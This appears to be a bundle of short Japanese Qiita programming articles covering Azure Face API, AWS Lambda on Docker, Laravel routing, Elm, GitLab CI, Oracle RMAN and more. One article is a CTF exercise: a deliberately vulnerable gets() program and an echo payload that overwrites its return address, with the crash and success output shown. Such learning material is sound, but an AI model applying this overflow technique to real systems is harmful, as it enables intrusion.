OmniAICreator/Qiita-1.07M huggingface dataset:
Azure Face APIを使って顔分析Web Appを作る

index.html

```
<!DOCTYPE html>
<html lang="ja">
<head>
  <title>Face API Web App Sample</title>
  <meta charset="utf-8">
  <meta content="width=device-width, initial-scale=1" name="viewport">
</head>
<body>
  <div class="container" id="container">
    <h2>Face APIによる顔分析</h2>
    <div id="message"></div>
    <div id="Smilescore"></div>
    <div id="content">
      <p><input id="fileToUpload" name="upload" type="file"></p>
      <textarea id="responseTextArea" class="UIInput" style="width:100%; height:600px;"></textarea>
    </div>
  </div>
  <script src="https://code.jquery.com/jquery-2.1.4.min.js">
  </script> 
  <script src="face.js"></script>
</body>
</html>
```

face.js

```
var html = '';

$(function() {

    $('input[type=file]').after('<span id=\"image\"><\/span>');

    $('input[type=file]').change(function() {

        var subscriptionKey = "サブスクリプションID";

        var uriBase = "https://japaneast.api.cognitive.microsoft.com/face/v1.0/detect";

        var params = {
            "returnFaceId": "true",
            "returnFaceLandmarks": "false",
            "returnFaceAttributes": "age,gender,headPose,smile,facialHair,glasses,emotion,hair,makeup,occlusion,accessories,blur,exposure,noise",
        };

        var file = $(this).prop('files')[0];

        if (!file.type.match('image.*')) {
        $(this).val('');
        $('span').html('');
        return;
        }

        var reader = new FileReader();

        reader.onload = function() {
        var img_src = $('<br><img height=\"300\">').attr('src', reader.result);
        $('span').html(img_src);
        }
        reader.readAsDataURL(file);

        $.ajax({
            url: uriBase + "?" + $.param(params),
            beforeSend: function(xhrObj){
                // Request headers
                xhrObj.setRequestHeader("Content-Type","application/octet-stream");
                xhrObj.setRequestHeader("Ocp-Apim-Subscription-Key",subscriptionKey);
            },
            type: "POST",
            data: file,
            processData: false,
        })
        .done(function(data) {
            var Smilescore = data["0"].faceAttributes.smile;
            console.log(Smilescore);
            var inputid = document.getElementById("Smilescore")
            inputid.innerHTML = "Smile Score=" + Smilescore;

        $("#responseTextArea").val(JSON.stringify(data, null, 2));

    })
    .fail(function() {
        alert("error");
    });
    });
});
```
AWS Lambdaをローカル環境で動作確認しよう！

## 前提条件

環境はMacOSを想定しています。
Linux環境であれば問題ないとは思いますが、
Windows環境の方はパスなどを適宜読み替えてください。

また、Dockerの事前導入が必須です。
各環境へのDocker導入については他に素晴らしい記事があるので割愛します。

## 概要

ローカル環境で`Lambda用に作成したスクリプト`を動かします。

## 経緯

私は今まで、AWSマネジメントコンソールから、
**WebIDEを用いて**、もしくは**zip形式でアップロード**し
実機のLambdaにデータを送信することでテストを行っていました。

しかし、開発中何度もコードを修正すると
いちいちコンソールを開いたりzipに固めてアップするのがかなり億劫になってきます。😫

また、Lambdaは動作分だけ料金が発生してしまうので、
重たい処理をバシバシ叩いているとコストが嵩んだりも😱

そこで、今回紹介する方法でローカル開発環境を用意し、
課金を発生させず、開発効率をガンガン上げていきましょう！

## 環境構築

### Dockerの導入

各環境へのDocker導入については、
[公式ドキュメント](https://docs.docker.com/install/)他、Web上に素晴らしい記事がたくさんあるので割愛します。

Dockerがインストールされた状態を用意してください。
インストールされていれば、以下のコマンドを実行できるハズです。

```shell
# Dockerが動作していることを確認
$ docker --version
Docker version 18.09.2, build 6247962
```

### 動作確認用スクリプト

#### ファイル構成

今回作成するのは
Lambdaのスクリプト、スクリプトが使用するLayerモジュール、環境変数ファイル
の3ファイルです。

AWS Lambda レイヤーについては[こちら](https://docs.aws.amazon.com/ja_jp/lambda/latest/dg/configuration-layers.html)を参照してください。
簡単に言うとLambda内のスクリプトに対して割り当てられるモジュール(ライブラリ)です。
今回の方法ではこの**レイヤー機能を使用している場合でも動作させることができます**。

```shell
something_dir
├── src
│    └── lambda_function.py
├── layer
│    └── layer_module.py
└── .env 
```

ファイル内容は以下のとおりです。

```python:lambda_function.py
"""メイン関数ファイル
"""
import os
import json
from layer_module import return_prefix

def lambda_handler(event, context):
    """環境名＋eventの内容を標準出力に出す
    """
    env = os.environ.get("ENV", "no_env")

    # [環境名]: eventの中身
    return return_prefix(env) + json.dumps(event)
```

```python:layer_module.py
"""Layerモジュール
"""
def return_prefix(env_name):
    """ "[環境変数名]: "を返す
    """
    return "[" + env_name + "]: "
```

```:.env
ENV=LOCAL
```

### ローカル環境で動かしてみる

早速スクリプトを動かしてみましょう。

Lambda環境を模倣するのに、Dockerを使用します。
既にOSSでLambCIという、Lambdaの環境を用意したイメージがありますので、これをお借りします。

[lambci/docker-lambda](https://github.com/lambci/docker-lambda)

このイメージの使い方は[Run Examples](https://github.com/lambci/docker-lambda#run-examples)にてほぼ全て網羅されています。

```shell
docker run [--rm] -v <code_dir>:/var/task [-v <layer_dir>:/opt] lambci/lambda:<runtime> [<handler>] [<event>]
```

では以下のように指定し、Lambdaを動かしてみましょう。

```shell
cd something_dir
docker run --rm -v "$PWD"/src:/var/task -v "$PWD"/layer:/opt/python --env-file .env lambci/lambda:python3.6 lambda_function.lambda_handler '{"foo":"bar"}'
```

すると、以下のようなメッセージが現れるはずです。

```shell
START RequestId: 67154e64-2a74-4ce5-80ca-be4f9f158850 Version: $LATEST
END RequestId: 67154e64-2a74-4ce5-80ca-be4f9f158850
REPORT RequestId: 67154e64-2a74-4ce5-80ca-be4f9f158850 Duration: 36 ms Billed Duration: 100 ms Memory Size: 1536 MB Max Memory Used: 19 MB

"[LOCAL]: {\"foo\": \"bar\"}"
```

このように出ていれば成功です！

### 実行上の注意

Dockerコンテナをrunする時、
レイヤーを割り当てるディレクトリには注意が必要です。

[公式](https://github.com/lambci/docker-lambda#run-examples)にはレイヤーを割り当てる際、以下のようなオプションを付けるよう書いてありますが、
```[-v <layer_dir>:/opt]```

例えばPythonでは、以下のように割り当てる必要があります。
```[-v <layer_dir>:/opt/python]```


## まとめ


今回は、環境変数＆Lambdaレイヤーまで再現できるLambdaローカル環境を作りました。

このLambCIを使うと、ENVやLayer機能含めた
非常に実機に近い形で動かすことができるので、ぜひお試しください！😘
Laravel 5.8 routesをサブドメインで分ける

[こちらはブログにも公開しています。](https://ksysnote.com/php/subdomain/)

<!-- wp:paragraph -->
<p>Laravelのプロジェクトを作成するとroutesディレクトリにweb.phpとapi.phpが分かれています。</p>
<!-- /wp:paragraph -->

<!-- wp:paragraph -->
<p>これは <strong>RouteServiceProvider.php</strong>内で定義されています。</p>
<!-- /wp:paragraph -->

<!-- wp:code -->
<pre class="wp-block-code"><code>    public function map()
    {
        $this->mapApiRoutes();

        $this->mapWebRoutes();

        //
    }

    protected function mapWebRoutes()
    {
        Route::middleware('web')
             ->namespace($this->namespace)
             ->group(base_path('routes/web.php'));
    }

    protected function mapApiRoutes()
    {
        Route::prefix('api')
             ->middleware('api')
             ->namespace($this->namespace)
             ->group(base_path('routes/api.php'));
    }</code></pre>
<!-- /wp:code -->

<!-- wp:paragraph -->
<p>mapApiRoutesでprefix('api')と指定しているので、http://example.com/api/以下はapiのルーティングが適用されるようになっています。</p>
<!-- /wp:paragraph -->

<!-- wp:paragraph -->
<p>今回はサブドメインで切り替えたいので、Route::domainを使用します</p>
<!-- /wp:paragraph -->

<!-- wp:code -->
<pre class="wp-block-code"><code>    protected function mapApiRoutes()
    {
        Route::domain('api.example.com')
            ->middleware('api')
            ->namespace($this->namespace)
            ->group(base_path('routes/api.php'));
    }</code></pre>
<!-- /wp:code -->

<!-- wp:paragraph -->
<p>routes/api.phpでテスト用に追加して確認をしてみます。</p>
<!-- /wp:paragraph -->

<!-- wp:code -->
<pre class="wp-block-code"><code>Route::get('/test', function(){
    echo "api";
});</code></pre>
<!-- /wp:code -->

<!-- wp:paragraph -->
<p>https://api.example.com/testで"api"と返ってくれば成功です。</p>
<!-- /wp:paragraph -->

<!-- wp:heading {"level":3} -->
<h3>その他：ユーザーごとにサブドメインを分ける</h3>
<!-- /wp:heading -->

<!-- wp:paragraph -->
<p>ユーザーごとにサブドメインを分けている場合</p>
<!-- /wp:paragraph -->

<!-- wp:paragraph -->
<p>https://[userId].example.com/のような場合は以下のようにします。</p>
<!-- /wp:paragraph -->

<!-- wp:code -->
<pre class="wp-block-code"><code>    public function map()
    {
        $this->mapApiRoutes();

        $this->mapWebRoutes();

        $this->mapUserRoutes();    // 追加
    }

    // 追加
    protected function mapUserRoutes()
    {
        Route::domain('{user}.'.config('const.app_domain'))
            ->middleware('web')
            ->namespace($this->namespace)
            ->group(base_path('routes/user.php'));
    }</code></pre>
<!-- /wp:code -->

<!-- wp:code -->
<pre class="wp-block-code"><code>Route::get('/test', function($user){
    return $user;
});</code></pre>
<!-- /wp:code -->

<!-- wp:paragraph -->
<p>https://123.example.comで”123”と表示したら成功です。</p>
<!-- /wp:paragraph -->
HTML の input type="number" には e を入力できる

HTML で `input` 要素の `type` 属性に `number` を指定したとき、数値以外で入力できる値として

- `-`
- `+`
- `.`

以外に、**実は `e` も入力できます**。

これは（おそらく）べき乗の表現にも対応しようとした処置です（例：`1e+2`は`100`を表す）。

JavaScript でも `1000000000000000000000` 以降は `1e+21` といった形で表現されたりしますしね。

ただ、困ったことにこれだと場合によってはサーバーサイドでの値のバリデーション等でコケる可能性があるので、フロントエンドで `e` を入力できないようにしたほうが親切かもしれません。

[html5 - Why does the html input with type "number" allow the letter 'e' to be entered in the field? - Stack Overflow]
(https://stackoverflow.com/questions/31706611/why-does-the-html-input-with-type-number-allow-the-letter-e-to-be-entered-in)

自分は普段 Vue を使っているので、以下のように書くことで `e` を入力できないようにできたので便利だな〜と思ったりました。

```html
<input type="number" @keydown.69.prevent>
```

以上です。

## 参考
> [input type="number" で e が書ける](
http://var.blog.jp/archives/53877489.html)
初心者Elm入門（その３：Elmアーキテクチャ）

# はじめに
アプリを設計する基本となるらしい「Elmアーキテクチャ」なるものについて。

# Elmアーキテクチャ
形はこんな感じ  

```Elm:Elmアーキテクチャ
module 〜〜

import 〜〜

main : Program () Model Msg
main =
    Browser.sandbox
        { init = init
        , update = update
        , view = view
        }


-- MODEL
    (Modelを作る)

-- UPDATE
    (画面から入力とかあったときにMsgを受け取ってその結果どうModelを更新するか)

-- VIEW
    (HTMLとか見た目を書く)
```
よく分からないと思うので具体例を挙げる。
例は画面上部に文字列が表示されてその下に３つボタンがあって、押すボタンによって表示文字列が変わる。
コードと地の文を行ったり来たりすると分かりにくいかと思うので説明はコード内にコメントで書いた。

```Elm:Dog.elm
module Main exposing (Model)

import Browser
import Html exposing (..)
import Html.Events exposing (onClick)


main : Program () Model Msg
main =
    Browser.sandbox
        { init = init
        , update = update
        , view = view
        }



-- MODEL


type alias Model =        -- Modelという型を作る。Intの別名はModel型です
    Int                   -- くらいの意味。


init : Model              -- Modelの初期値は０。
init =
    0



-- UPDATE


type Msg                  -- Msg型というのは左記３パターンのうちのどれかを取る。
    = OrdinalDog
    | SpecialDog
    | ScaryDog


update : Msg -> Model -> Model  -- Msgと現在のModelを引数として受け取り
update msg model =              -- 新しいModelを返す。
    case msg of
        OrdinalDog ->           -- ボタンを押したときにMsgを受け取るが
            0                   -- 受け取る値は「OrdinalDog」ならば
                                -- 新モデルは０
        SpecialDog ->           -- 「SpecialDog」ならば新モデルは1
            1                   -- 「ScaryDog」ならば新モデルは2となる。

        ScaryDog ->
            2



-- VIEW


view : Model -> Html Msg
view model =
    div []
        [ div [] [ text (dogFunc model) ]        -- 下記dogFunc関数にmodelを渡したときに返される文字列を表示する。
        , button [ onClick OrdinalDog ] [ text "普通の犬" ]    -- クリック時に「OrdinalDog」がmsgとして受け取られる。
        , button [ onClick SpecialDog ] [ text "可愛い犬" ]    -- クリック時に「SpecialDog」がmsgとして受け取られる。
        , button [ onClick ScaryDog ] [ text "怖い犬" ]        -- クリック時に「OrdinalDog」がmsgとして受け取られる。
        ]                -- ボタンをクリックするとMsgとして「〜〜Dog」がうけとられ
                         -- UPDATEのところでModelが更新される
                         -- 更新されたModelがdogFuncの引数となって文字列が得られる。
dogFunc : Model -> String
dogFunc model =
    case model of
        0 ->
            "わん"

        1 ->
            "わんわんわんわんわんぺろぺろぺろぺろく〜〜〜んぺろぺろぺろぺろぺろ"

        2 ->
            "がるるるるるる"

        _ ->
            "......"

```
# 試し方
- 適当なディレクトリを作る。
- `elm init`する。
- srcというディレクトリができているのでsrc内にDog.elmを置く。
- `elm make src/Dog.elm --output=dog.html`する。(`--output`は必須ではないが指定しないとindex.htmlという名前でコンパイルされる。)
- dog.htmlが出来るのでブラウザで開く。

# 初心者Elmシリーズ
- [初心者Elm入門（その１：インストール〜Hello World!）](https://qiita.com/saiwa8951/items/befa0d1683f16a992b67)
- [初心者Elm入門（その２：文法）](https://qiita.com/saiwa8951/items/cf0067447c1189af1175)
- [初心者Elm入門（その４：削除機能付きToDoリスト）](https://qiita.com/saiwa8951/items/41fd03bae89c30c7861c)
DockerコンテナからDockerコマンドを利用する

# はじめに

コンテナ経由でコンテナを作成するのに大きく2パターンある。

1. ホストのDockerプロセスを使う場合
2. Dockerプロセス内でさらにコンテナを作成 (DinD)

以下では、それぞれがどのように動作するかと、CIサーバを作成することで実際の利用シーンを確認していく。

# CIでよくあるパターンで説明

GitlabCIやJenkinsなど、自分で実行環境を容易する場合、上の2パターンを併用するので違いがわかりやすい。構成としては↓のようになる。

![File.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/14275/ce9e227b-880c-94d7-624e-8256acfac410.jpeg)


### 1. ホストのDockerプロセスを使う

これは socket 経由でDockerデーモンに命令する。
以下のようにsocketファイルをマウントすれば、socket経由でDockerファイルを起動できる。

```
docker run -v /var/run/docker.sock:/var/run/docker.sock container
```

### 2. DinDの場合

Dockerコンテナ内で新たなDockerコマンドを呼び出せる。
ファイルシステムにアクセスするため、privilegedモードで実行する必要がある。

ただ、内部で実際にやってることは、1と大きく変わっていない。[socket経由でDinDコンテナのDockerデーモンにアクセスしている](https://github.com/docker-library/docker/blob/27471a8b93e980bd4c51464ee933ed90fd36bf97/19.03-rc/dind/dockerd-entrypoint.sh)。

# 実際にGitlabCIをコンテナだけで動かす

GCPのContainer-Optimized OSを利用して、GitlabCIをコンテナだけでGitlabRunner(CIを実行するサーバ)を動かすことで理解する。
Container-Optimized OSとは、Dockerコンテナの実行に最適化されたOSのことで、最近はこれを多用している。


### サーバ作成

Compute Engine > VM instancesからインスタンスを作成

Container image : `gitlab/gitlab-runner:latest`

Directory mount: 

|Mount path| Host path | Mode |
|:--|:--|:--|
| /var/run/docker.sock | /var/run/docker.sock | Read/write |
| /etc/gitlab-runner | /var/gitlab-runner/config | Read/write |

このgitlab-runnerコンテナでは、privilegedである必要はないので、Run as privilegedはfalseでいい。

### gitlab-runnerサーバの登録

サーバ作成時に指定したconfigファイルのパスをVolume mountして設定ファイルを保存する。

```
$ sudo docker run --rm -t -i -v /var/gitlab-runner/config:/etc/gitlab-runner gitlab/gitlab-runner register
```

ここで、gitlabサーバがホストされているドメインや、プロジェクト設定画面に表示されるトークンなどを入力していく。
入力が完了すると、/var/gitlab/runner/config 内にtomlファイルが作成される。このままだとDinDができないので、出力されたファイルを編集する必要がある。

```
[[runners]]
  name = "sample"
  url = "<url>"
  token = "<token>"
  executor = "docker"
  [runners.docker]
    tls_verify = false
    image = "alpine:latest"
    privileged = true  // ここをtrueに変更
    disable_entrypoint_overwrite = false
    oom_kill_disable = false
    disable_cache = true // ここをtrueに変更
```

`disable_cache=false` だとコンテナ作成時のデータがキャッシュされて、大量にゴミデータが残ってしまう。

### .gitlab-ci.ymlを定義

たとえばコンテナ内でDockerビルドする場合は以下のように行う。

```yml
image: docker:stable
stages:
- deploy

variables:
  DOCKER_HOST: tcp://docker:2375/
  DOCKER_DRIVER: overlay2

services:
- docker:dind

deploy:
  stage: deploy
  script:
  - docker build .  -t sampleregistry.com/container:latest
  - docker push sampleregistry.com/container:latest
```

以上で完了。

# 最後に

今回は、Dockerコマンドを、コンテナ内から呼ぶ方法を書いた。
Dockerコマンドが内部で何をやってるか、イメージがどのように構成されてるか、というのも最近調べたのでいずれ書きたい。
Oracle12c NOARCHIVELOGモードのDBを全体バックアップより復元 2

# 目標 #

NOARCHIVEモードで運用しているデータベースがあります。データファイルを格納しているハードディスクが壊れました。
別の場所のリモートストレージで、全体のバックアップがあります。
既存のバックアップ計画は条件に示しています。
サーバー構成およびDBソフトインストールが完了前提で、DBをリカバリしようとしています。

# 条件 #

1. 既定のバックアップ計画

   毎日DBの全体バックアップを取ります。

   ~~~sql
   rman TARGET /
   (略)
   RMAN> SHUTDOWN IMMEDIATE;
   (略)
   RMAN> STARTUP MOUNT;
   (略)
   RMAN> BACKUP DATABASE;
   (略)
   backupが完了しました。(略)

   ※無関係の出力情報は「(略)」で表記
   ~~~

# 検証環境構成 #

[oracle_12c_検証環境]

~~~bash
# oracleユーザ
export ORACLE_HOME=/u01/app/oracle/product/12.2.0/dbhome_1
export PATH=$ORACLE_HOME/bin:$PATH
export ORACLE_SID=orcl
# データベース起動
rman TARGET /
RMAN> startup mount
# バックアップ実施
RMAN> backup database;
RMAN> exit
# データファイル削除
rm -r /u01/app/oracle/oradata/ORCL/datafile/*
# エラー状態確認
sqlplus / as sysdba
SQL> alter database open; # ORA-01157
SQL> shutdown
SQL> exit
~~~

# 現状 #

データベースファイルのデータファイルがすべて無くしたので、データベースをOpenできません。
RMANでデータファイルをリスドア・リカバリして復元できます。

# リカバリ手順 #

~~~bash
# oracleユーザ
rman TARGET /
RMAN> startup mount
RMAN> restore database;
RMAN> alter database open;
RMAN> exit
~~~
PHPでCSVのフィールド内改行をbrに変換

CSV形式のデータを取り込んでWebなどで表示する処理、結構やるんですがハマることが結構多いです。

# フィールド内改行をbrタグに変換する

ひとくちにCSVと言ってもフィールド内改行（セル内改行）に使われる文字コードがいろいろあります。
普通は `nl2br`関数で変換できるんですが、たまに`垂直タブ`というのでフィールド内改行をしている場合もあって、それだと`nl2br`だと改行に変換できませんでした。

ので、

```php
$var = preg_replace("/\r|\n|\v/", '<br>', $var);
```

で置き換えました。

垂直タブは `\v` でした。
mysql2 gem ビルド


```
bundle config --local build.mysql2 "--with-ldflags=-L/usr/local/opt/openssl/lib --with-cppflags=-I/usr/local/opt/openssl/include"
```
を設定しましょうとよく書いてあるけれど、新しいOSX(10.4.4~?)のclangには `--with-cppflags` がないようで 

```
clang: error: unsupported option '--with-cppflags=-I/usr/local/opt/openssl/include'
```

と言われます。

かわりに

```
bundle config --local build.mysql2 "--with-ldflags=-L/usr/local/opt/openssl/lib -I/usr/local/opt/openssl/include"
```

と書いたらいいですよ。
php-master-changes 2019-04-24

今日は xmlrpc のビルドの単純化、ビルドシステムのリファクタリング、opcache の最適化バグの修正、定数 switch の最適化、ドキュメントの更新、JIT 用の一部コードが FreeBSD 以外の *BSD でコンパイルできなかった問題の修正、参照渡しで引数をとる関数の最適化があった！

# 2019-04-24
## petk: Simplify libxmlrpc bundling and building
- https://github.com/php/php-src/commit/96a9fb20522fd92295b6191ff57deaa671f0bea5
- [7.4~]
- ext/xmlrpc で、ビルドの単純化
- PHP で使われてる libxmlrpc は大本から fork して独自修正の上 php-src にバンドルされてるライブラリなので、じゃあ不要じゃんというチェックがあった

## petk: Move acinclude.m4 to build/php.m4
- https://github.com/php/php-src/commit/4e7064d173d2b5b22e159fcf52d22b10213b67b8
- [7.4~]
- ビルドシステムで、acinclude.m4 を build/php.m4 へ移動
- acinclude.m4 は通常 Automake の aclocal で処理されるファイルだが、PHP では使ってない
- 最近の流行りだと別ディレクトリにパッケージ名で突っ込むのがありがちらしくそっちに合わせた
- aclocal.m4 を生成してたのもやめた

## petk: Move Autoconf Archive macros to a common m4 dir
- https://github.com/php/php-src/commit/beb58ca128e78bdbf56956e52a87eb943d85e534
- [7.4~]
- ビルドシステムで、[Autoconf Archive](https://github.com/autoconf-archive/autoconf-archive) のマクロを build 下の共通のディレクトリへ移動

## dstogov: Don't eliminate BIND_STATIC if it may cause undefined constant warning
- https://github.com/php/php-src/commit/4d0d7ce34955264366eaa51a0c93fe1e7314685e
- [7.4~]
- ext/opcache で、[最適化による ZEND_BIND_STATIC の除去](https://qiita.com/sj-i/items/f1f8c02eef8e453c5dc0#dstogov-remove-unused-bind_static-insructions)で未定義定数の警告が起き得る場合は除去しないよう修正

## dstogov: Fixed test (Warning -> Exception)
- https://github.com/php/php-src/commit/26353a264027004e272be33916a61ecd508a80f7
- 警告っていうか例外起きるじゃねえか、と↑のテストケースを修正

## dstogov: Optimize constant SWITCH_LONG and SWITCH_STRING
- https://github.com/php/php-src/commit/db2ffcf1579fee9cb048cc806adf782e659cc456
- [7.4~]
- ext/opcache で、定数での ZEND_SWITCH_LONG と ZEND_SWITCH_STRING を最適化するよう修正

## remicollet: news entry for litespeed
- https://github.com/php/php-src/commit/5d21a15cc34832546f99eb66a27b1adb25b84fb5
- [7.2~]
- [LiteSpeed の SAPI モジュール更新](https://qiita.com/sj-i/items/3c5f5c07a4ace8b8eed3#george-wang-fixed-bug-in-litespeed_finish_request-disable-fastcgi_finish_request-alias-for-now)について NEWS に追記

## devnexen: JIT profiling other BSD build fixes
- https://github.com/php/php-src/commit/3a2cc1614a0f2c0b9044fd895cbfcdfc6401894a
- ext/opcache/jit で、[VTune](https://software.intel.com/en-us/vtune) 対応コードが FreeBSD 以外の *BSD でビルドできなかったのを修正
- [PR:4058](https://github.com/php/php-src/pull/4058)

## dstogov: Use ZEND_TRA_ASSIGN_REF_... macros for by reference arguments of internal functions.
- https://github.com/php/php-src/commit/34db07567d250c341fcdf1c6125366563a48280f
- 参照渡しで引数をとる関数の最適化
- 値が参照であることを前提にできるケース用に分岐を減らせるマクロ ZEND_TRA_ASSIGN_REF_* を用意し、参照渡しの引数をとる関数についてそっちを使うよう修正
Turtlebot2(実物)をROS2で動かしたい

# 動機
Turtlebot2を操作するためのパッケージはROS2(Bouncy)までは対応していました。
しかし、突如としてTurtlebot2を対応するパッケージのサポートがされなくなってしまったので、
作ってしまおうと思いつき、パッケージを作成しました。

# Github
https://github.com/l1sum/turtlebot_bringup
ご自由にお使いください！

# 公開topic
・ cmd_vel : Twist型でデータを送信することでturtlebot2本体を動かすことができます。
             基本的なデータの受け渡しは従来通りにできます。
・ odom    : Odometry型でデータを受信することができます。
             これもまた従来通りのやり方でデータの受信ができます。

# YDlidarとの連携
launchファイル内にはminimal.launch.pyというファイルがあります。
これは初期からydlidarを搭載していることを前提に実装を行っています。
そのため、

```
ros2 launch turtlebot_bringup minimal.launch.py
```
を実行することで、/scanノードが立ち上がります。

# 最後に
Good Luck!!!
Carthageで入れたライブラリがLibrary not loadedになる場合

Carthageでインストールしたライブラリが実行時に下記のエラーでクラッシュする場合

```
dyld: Library not loaded: @rpath/XXX.framework/XXX
Referenced from: /var/containers/Bundle/Application/...
Reason: image not found
```
大抵は[こちらの記事](https://qiita.com/kakipo/items/3cd87e00bc96bc3888b2)の対応で解決すると思うのですが、それでもクラッシュしてしまう場合、Carthageのバージョンが古い可能性があります。

Carthageのバージョンを上げてからライブラリをインストールしましょう。

```sh

brew upgrade carthage
```
サーバの運用管理をPythonで自動化させてみる

サーバの運用管理業務では定型作業も少なくないと思うが、その自動化はどうしているだろう。
本番機とかでシェルスクリプトを自由に置けない場合、ターミナルソフト（PuTTY、Tera Term、Rlogin、*etc...*）が備えるマクロ機能で自動運転するのも良いが、ここではPythonで実現してみようと思う。

# よくあるケース

- **サーバ**または**ネットワーク機器（Cisco IOS）**でコマンドを実行し、結果を**クライアント端末**（Windows PC）にダウンロード
- **クライアント端末**（Windows PC）からファイルをアップロードし、**サーバ**または**ネットワーク機器（Cisco IOS）**でコマンドを実行

というケースが殆どではないだろうか。
ここでは後者のサンプルコードを示す。

# 必要なパッケージ
SSHv2プロトコルのPython実装である **Paramiko** と **scp** をクライアント端末に導入する。
サーバの環境変更には厳しいプロジェクトであっても、クライアント端末であれば自由が利く。

```
pip install paramiko
pip install scp
```

# サンプルコード

ファイルを**scp**で転送し、**ssh**でコマンドを実行する必要最小限のコード。
パスワード認証方式の場合は、`pkey`の代わりに`password`を指定すること。

```python
import paramiko
import scp

def exec_cmd(cmd, ssh):
    print('# ' + cmd)
    stdin, stdout, stderr = ssh.exec_command(cmd)
    for out_line in stdout:
        print(out_line.strip('\n'))  # 標準出力
    for err_line in stderr:
        print(err_line.strip('\n'))  # 標準エラー出力

with paramiko.SSHClient() as ssh:
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    pkey = paramiko.RSAKey.from_private_key_file('秘密鍵ファイル')  # 今回はパスフレーズ無し
    ssh.connect(hostname='192.168.10.1', port=22, username='myuser', pkey=pkey)

    with scp.SCPClient(ssh.get_transport()) as scp:
        scp.put('foo.csv', '/tmp/foo.csv')  # ファイルをアップロード

    time.sleep(1)  # 念の為、待ち時間を挿入

    exec_cmd('./bar.sh /tmp/foo.csv', ssh)  # サーバでシェルを実行
```

# おまけ

せっかくPythonで書くのだから、実行結果もメールで自動送信してみよう。
CSVファイルをメールに添付して送信するサンプルコードを示す。

```python
import smtplib
from email import Encoders
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email.mime.multipart import MIMEMultipart

from_addr = 'XXXXX@gmail.com'
to_addr = 'YYYYY@aaaaa.co.jp'
bcc_addr = 'ZZZZZ@aaaaa.co.jp'  # カンマ区切りで複数指定可
rcpt = bcc_addr.split(',') + [to_addr]

msg = MIMEMultipart()
msg['Subject'] = '【XXサーバ】コマンド実行結果'
msg['From'] = '名無し'
msg['To'] = to_addr

msg.attach(MIMEText('''
関係各位
お疲れさまです。
本日のコマンド実行結果を添付しますのでご確認ください。
'''.strip())

attachment = MIMEBase('application', 'csv')  # 添付ファイルの種類に応じて適宜変更すること
file = open('/tmp/results.csv', 'rb+')
attachment.set_payload(file.read())
file.close()
Encoders.encode_base64(attachment)
attachment.add_header('Content-Disposition', 'attachment', filename='results.csv')
msg.attach(attachment)

smtp = smtplib.SMTP('smtp.gmail.com', 587)  # Gmailの場合
smtp.starttls()
smtp.login(from_addr, 'password')
smtp.sendmail(from_addr, rcpt, msg.as_string())
smtp.close()
```
No App Store connect access for the team 対策

# 概要
アプリリリース時に「No App Store connect access for the team」が表示されて焦ったのでまとめておく

# 再現手順
1. Xcode を開く
2. Product を選ぶ
3. Archive を選ぶ
4. 生成された Archive を選ぶ
5. Distribute App を選ぶ
6. 途中で No App Store connect access for the team と怒られる

# 試した手順
1. Xcode 再起動 ＆ 再現手順の4以降 → 問題再発
2. Mac OS 再起動 ＆ 再現手順の4以降 → 問題再発
3. 再現手順の1以降 → 問題発生せず

# 予想される改善手順
- Xcode 再起動 ＆ 再現手順の1以降

駄目なら

- Mac OS 再起動 ＆ 再現手順の1以降
jsdoでjor1k その3

#概要

jsdoでjor1kやってみた。
pwnやってみた。

#問題

下記の、プログラムの脆弱性を突いて、ctf関数を実行せよ。

```
#include <stdio.h>

void ctf()
{
	puts("You Cool!");
	exit(0);
}

int main()
{
	char buf[10];
	gets(buf);
	printf("%p\n", buf);
    printf("%p  ", ctf); 
	return 0;
}

```

#コンパイルする。

```
gcc -fno-stack-protector -zexecstack main.c
```

#GDBで調査

gdbが落ちる。だめ。

#動的調査

```
~ $ echo -ne "AAAAAAAAAAAAAAAA" | ./a.out 

Segmentation fault

~ $ echo -ne "AAAAAAAAAAAAAAA" | ./a.out                                        
0x7fc05dd0                                                                      
0x2638  ~ $ 
```

#方針

バッファオーバーフローでリターンアドレス書き換えて、CTF関数を実行させる。

#コードを書く

openriscは、ビックエンディアンです。

```
echo -e "AAAAAAAAAAAAAAAA\x00\x00\x26\x38" | ./a.out
```

#実行


```
~ $ echo -e "AAAAAAAAAAAAAAA\x00\x00\x26\x38" | ./a.out                         
0x7fd61dd0                                                                      
SEGFAULT DEBUG: do_page_fault: send sigsegv: address = 26380a, vector = 400, w =
 0                                                                              
CPU: 0 PID: 145 Comm: a.out Not tainted 4.16.0+ #10                             
CPU #: 0                                                                        
   PC: 0026380a    SR: 0000827e    SP: 7fd61de4                                 
GPR00: 00000000 GPR01: 7fd61de4 GPR02: 41414100 GPR03: 00000000                 
GPR04: 0000276e GPR05: 00000000 GPR06: 00000006 GPR07: 00000001                 
GPR08: 00000000 GPR09: 0026380a GPR10: 300bff10 GPR11: 00000000                 
GPR12: 30067d14 GPR13: 30063c00 GPR14: 00000000 GPR15: 0000827e                 
GPR16: 300be2a0 GPR17: 00000005 GPR18: 7fd61e14 GPR19: 00000000                 
GPR20: 00000001 GPR21: 00000020 GPR22: 00002664 GPR23: 00000000                 
GPR24: 000000b8 GPR25: 00000036 GPR26: 300bfe64 GPR27: 300bf3e0                 
GPR28: 300bff78 GPR29: 00002638 GPR30: 300be2a0 GPR31: fffffff2                 
  RES: 00000000 oGPR11: ffffffff                                                
Process a.out (pid: 145, stackpage=c130d840)                                    
                                                                                
Segmentation fault                                                              
~ $ echo -e "AAAAAAAAAAAAAAAA\x00\x00\x26\x38" | ./a.out                        
0x7ff11dd0                                                                      
0x2638  You Cool! 
```


以上。
2019/04/24 Rakuten Commerce QA Night#1 

# Rakuten Commerce QA Night#1 
4/24 (水) 楽天クリムゾンハウスにてQA の meetupが行われました
今回は、楽天だけがプレゼンターのQA　勉強会として初めての開催でした

<IMG SRC="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/267085/5add87ee-8b4b-a3d7-9ec4-82c92b805b49.png" width=80%>

https://rakuten.connpass.com/event/117353/

<IMG SRC="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/267085/3a978f02-6bc3-0b8a-292e-c2d8e31c86d5.png" WIDTH=70%>



最終的に来場者は約８０名。



コンテンツは以下の通り

1. 自分からは”Automation testing for Leisure Product”と題して、テスト自動化をチームにどのように導入したか
2. TravelのClint, Sharon２名からは”Test Automation at Rakuten Travel”と題して、テストデータ等の作成自動化の仕組みの話
